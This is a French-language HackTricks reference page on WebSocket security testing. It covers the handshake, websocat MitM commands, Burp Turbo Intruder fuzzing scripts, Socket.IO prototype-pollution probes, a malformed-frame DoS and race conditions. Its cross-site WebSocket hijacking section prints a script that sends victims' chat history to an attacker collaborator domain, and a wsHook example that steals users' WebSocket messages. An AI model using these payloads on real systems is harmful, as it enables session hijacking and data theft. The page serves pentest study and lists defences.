WebSocket Attacks

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce que les WebSockets

Les connexions WebSocket sont établies via une poignée de main HTTP initiale et sont conçues pour être longue durée, permettant l’échange bidirectionnel de messages à tout moment sans avoir besoin d’un système transactionnel. Cela rend les WebSockets particulièrement avantageux pour les applications nécessitant une faible latence ou une communication initiée par le serveur, comme les flux de données financières en direct.

Établissement des connexions WebSocket

Une explication détaillée sur l’établissement des connexions WebSocket est disponible here. En résumé, les connexions WebSocket sont généralement initiées via du JavaScript côté client comme montré ci-dessous:

var ws = new WebSocket("wss://normal-website.com/ws")

Le protocole wss signifie une connexion WebSocket sécurisée avec TLS, alors que ws indique une connexion non sécurisée.

Lors de l’établissement de la connexion, un handshake est effectué entre le navigateur et le serveur via HTTP. Le processus de handshake implique que le navigateur envoie une requête et que le serveur réponde, comme illustré dans les exemples suivants :

Le navigateur envoie une requête de handshake :

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Réponse de handshake du serveur :

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

La connexion reste ouverte pour l’échange de messages dans les deux sens une fois établie.

Points clés du WebSocket Handshake :

  • Les en-têtes Connection et Upgrade signalent le début d’un WebSocket Handshake.
  • L’en-tête Sec-WebSocket-Version indique la version du protocole WebSocket souhaitée, généralement 13.
  • Une valeur aléatoire encodée en Base64 est envoyée dans l’en-tête Sec-WebSocket-Key, garantissant que chaque handshake est unique, ce qui aide à prévenir les problèmes avec les proxies de cache. Cette valeur n’est pas utilisée pour l’authentification mais pour confirmer que la réponse n’est pas générée par un serveur ou un cache mal configuré.
  • L’en-tête Sec-WebSocket-Accept dans la réponse du serveur est un hash du Sec-WebSocket-Key, vérifiant l’intention du serveur d’ouvrir une connexion WebSocket.

Ces caractéristiques assurent que le processus de handshake est sécurisé et fiable, permettant une communication temps réel efficace.

Console Linux

Vous pouvez utiliser websocat pour établir une connexion bas-niveau avec un WebSocket.

websocat --insecure wss://10.10.10.10:8000 -v

Ou pour créer un serveur websocat :

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connexions

Si vous constatez que des clients sont connectés à un HTTP websocket depuis votre réseau local actuel vous pouvez essayer une ARP Spoofing Attack pour effectuer une attaque MitM entre le client et le serveur.
Une fois que le client tente de se connecter à vous, vous pouvez alors utiliser:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Énumération des Websockets

Vous pouvez utiliser l’outil https://github.com/PalindromeLabs/STEWS pour découvrir, fingerprint et rechercher automatiquement des vulnérabilités dans les websockets.

Outils de débogage Websocket

  • Burp Suite prend en charge les communications MitM websockets d’une manière très similaire à celle utilisée pour les communications HTTP régulières.
  • L’socketsleuth extension Burp Suite vous permettra de mieux gérer les communications Websocket dans Burp en récupérant l’historique, en définissant des règles d’interception, en utilisant des règles match and replace, et en utilisant Intruder et AutoRepeater.
  • WSSiP: Abréviation de “WebSocket/Socket.io Proxy”, cet outil, écrit en Node.js, fournit une interface utilisateur pour capturer, intercepter, envoyer des messages personnalisés et visualiser toutes les communications WebSocket et Socket.IO entre le client et le serveur.
  • wsrepl est un REPL websocket interactif conçu spécifiquement pour le pentesting. Il fournit une interface pour observer les messages websocket entrants et en envoyer de nouveaux, avec un framework facile à utiliser pour automatiser cette communication.
  • https://websocketking.com/ c’est une application web pour communiquer avec d’autres sites en utilisant des websockets.
  • https://hoppscotch.io/realtime/websocket parmi d’autres types de communications/protocoles, fournit une application web pour communiquer avec d’autres sites en utilisant des websockets.

Décryptage Websocket

Websocket Lab

In Burp-Suite-Extender-Montoya-Course you have a code to launch a web using websockets and in this post you can find an explanation.

Websocket Fuzzing

The burp extension Backslash Powered Scanner now allows to fuzz also WebSocket messages. You can read more infromation abou this here.

WebSocket Turbo Intruder (Burp extension)

PortSwigger’s WebSocket Turbo Intruder brings Turbo Intruder–style Python scripting and high‑rate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components:

  • Turbo Intruder: envoi de messages en volume élevé vers un seul endpoint WS en utilisant des moteurs personnalisés.
  • HTTP Middleware: expose un endpoint HTTP local qui transfère les corps en tant que messages WS sur une connexion persistante, de sorte que tout scanner basé sur HTTP puisse sonder les backends WS.

Basic script pattern to fuzz a WS endpoint and filter relevant responses:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Utilisez des décorateurs comme @MatchRegex(...) pour réduire le bruit lorsque un seul message déclenche plusieurs réponses.

Faire transiter WS derrière HTTP (HTTP Middleware)

Encapsulez une connexion WS persistante et transmettez les corps HTTP en tant que messages WS pour des tests automatisés avec des scanners HTTP :

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Ensuite, envoyez HTTP localement ; le corps est transmis comme le message WS :

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Cela vous permet de piloter des backends WS tout en filtrant les événements « intéressants » (p. ex., erreurs SQLi, auth bypass, comportement de command injection).

Gestion de Socket.IO (handshake, heartbeats, events)

Socket.IO ajoute son propre framing au-dessus de WS. Détectez-le via le paramètre de requête obligatoire EIO (p. ex., EIO=4). Maintenez la session vivante avec Ping (2) et Pong (3) et commencez la conversation avec "40", puis émettez des événements comme 42["message","hello"].

Exemple Intruder:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Variante d’adaptateur HTTP:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Détection de prototype pollution côté serveur via Socket.IO

En suivant la technique de détection sûre de PortSwigger, essayez de polluer les internals d’Express en envoyant un payload comme :

{"__proto__":{"initialPacket":"Polluted"}}

Si les greetings ou le comportement changent (par ex., echo inclut “Polluted”), vous avez probablement pollué les prototypes côté serveur. L’impact dépend des sinks atteignables ; corrélez avec les gadgets dans la section Node.js prototype pollution. Voir :

WebSocket race conditions with Turbo Intruder

The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in config().

  • Apprenez la méthodologie et les alternatives dans Race Condition (voir “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Créez des frames WS dont l’en‑tête déclare une taille de payload énorme mais n’envoyez aucun corps. Certains serveurs WS font confiance à la longueur et pré‑allouent des buffers ; la fixer proche de Integer.MAX_VALUE peut provoquer un Out‑Of‑Memory et un DoS distant non authentifié. Voir le script d’exemple.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Activez le WS Logger pour capturer et corréler les messages en utilisant des IDs internes.
  • Utilisez les helpers inc*/dec* sur Connection pour ajuster la gestion des IDs de message dans des adapters complexes.
  • Les decorators comme @PingPong/@Pong et les helpers comme isInteresting() réduisent le bruit et maintiennent les sessions ouvertes.

Operational safety

Le fuzzing WS à haut débit peut ouvrir de nombreuses connexions et envoyer des milliers de messages par seconde. Les frames malformés et les taux élevés peuvent provoquer de véritables DoS. N’utilisez ceci que là où c’est autorisé.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, est identifié comme un cas spécifique de Cross-Site Request Forgery (CSRF) affectant les handshakes WebSocket. Cette vulnérabilité survient lorsque les handshakes WebSocket authentifient uniquement via des HTTP cookies sans CSRF tokens ni mesures de sécurité similaires.

Les attaquants peuvent exploiter cela en hébergeant une malicious web page qui initie une connexion cross-site WebSocket vers une application vulnérable. En conséquence, cette connexion est traitée comme faisant partie de la session de la victime avec l’application, exploitant l’absence de protection CSRF dans le mécanisme de gestion de session.

Pour que cette attaque fonctionne, les conditions suivantes doivent être réunies :

  • L’authentification WebSocket doit être basée sur des cookies
  • Le cookie doit être accessible depuis le serveur de l’attaquant (généralement SameSite=None) ; il ne doit pas y avoir Firefox Total Cookie Protection activé dans Firefox ni blocked third-party cookies dans Chrome.
  • Le serveur WebSocket ne doit pas vérifier l’origine de la connexion (ou cela doit être contournable)

Aussi :

  • Si l’authentification est basée sur une connexion locale (vers localhost ou un réseau local), l’attaque sera possible car aucune protection actuelle ne l’interdit (voir more info here)

Attaque simple

Notez que lors de l’établissement d’une connexion websocket, le cookie est envoyé au serveur. Le serveur peut l’utiliser pour associer chaque utilisateur spécifique à sa session websocket basée sur le cookie envoyé.

Ensuite, si par exemple le serveur websocket renvoie l’historique de la conversation d’un utilisateur lorsqu’un message contenant “READY” est envoyé, alors une simple XSS établissant la connexion (le cookie sera envoyé automatiquement pour authentifier l’utilisateur victime) envoyantREADY” pourra récupérer l’historique de la conversation.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Dans ce billet de blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ l’attaquant a réussi à execute arbitrary Javascript in a subdomain du domaine où la communication du web socket avait lieu. Comme il s’agissait d’un subdomain, le cookie était sent, et comme le Websocket didn’t check the Origin properly, il a été possible de communiquer avec lui et de steal tokens from it.

Voler des données d’un utilisateur

Copiez l’application web que vous voulez usurper (les fichiers .html par exemple) et, dans le script où la communication websocket a lieu, ajoutez ce code :

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Téléchargez maintenant le fichier wsHook.js depuis https://github.com/skepticfx/wshook et enregistrez-le dans le dossier contenant les fichiers web.
En exposant l’application web et en faisant en sorte qu’un utilisateur s’y connecte, vous pourrez voler les messages envoyés et reçus via websocket:

sudo python3 -m http.server 80

CSWSH Protections

L’attaque CSWSH repose sur le fait qu’un utilisateur se connectera à une page malveillante qui ouvrira une websocket connection vers une page web où l’utilisateur est déjà connecté et s’authentifiera en son nom, car la requête enverra les cookies de l’utilisateur.

De nos jours, il est très facile de prévenir ce problème :

  • Websocket server checking the origin: Le serveur websocket devrait toujours vérifier d’où un user se connecte afin d’empêcher des pages inattendues de se connecter.
  • Authentication token: Plutôt que de baser l’authentification sur un cookie, la connexion websocket pourrait reposer sur un token généré par le serveur pour l’utilisateur et inconnu de l’attaquant (comme un anti-CSRF token)
  • SameSite Cookie attribute: Les cookies dont la valeur SameSite est Lax ou Strict ne seront pas envoyés depuis une page d’attaquant externe vers le serveur victime ; par conséquent, l’authentification basée sur des cookies échouera. Notez que Chrome assigne maintenant la valeur Lax aux cookies sans ce flag spécifié, rendant cela plus sûr par défaut. Toutefois, pendant les 2 premières minutes suivant la création d’un cookie, il aura la valeur None, le rendant vulnérable pendant cette période limitée (il est également attendu que cette mesure soit retirée à un certain moment).
  • Firefox Total Cookie Protection: Total Cookie Protection fonctionne en isolant les cookies au site dans lequel ils sont créés. Essentiellement, chaque site a sa propre partition de stockage de cookies pour empêcher des tiers de corréler l’historique de navigation d’un utilisateur. Cela rend CSWSH inutilisable car le site de l’attaquant n’aura pas accès aux cookies.
  • Chrome third-party cookies block: Cela peut aussi empêcher l’envoi du cookie de l’utilisateur authentifié au serveur websocket même avec SameSite=None.

Race Conditions

Race Conditions in WebSockets are also a thing, check this information to learn more.

Other vulnerabilities

Comme les Web Sockets sont un mécanisme pour send data to server side and client side, selon la façon dont le serveur et le client traitent l’information, Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.

WebSocket Smuggling

This vulnerability could allow you to bypass reverse proxies restrictions by making them believe that a websocket communication was stablished (even if it isn’t true). This could allow an attacker to access hidden endpoints. For more information check the following page:

Upgrade Header Smuggling

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks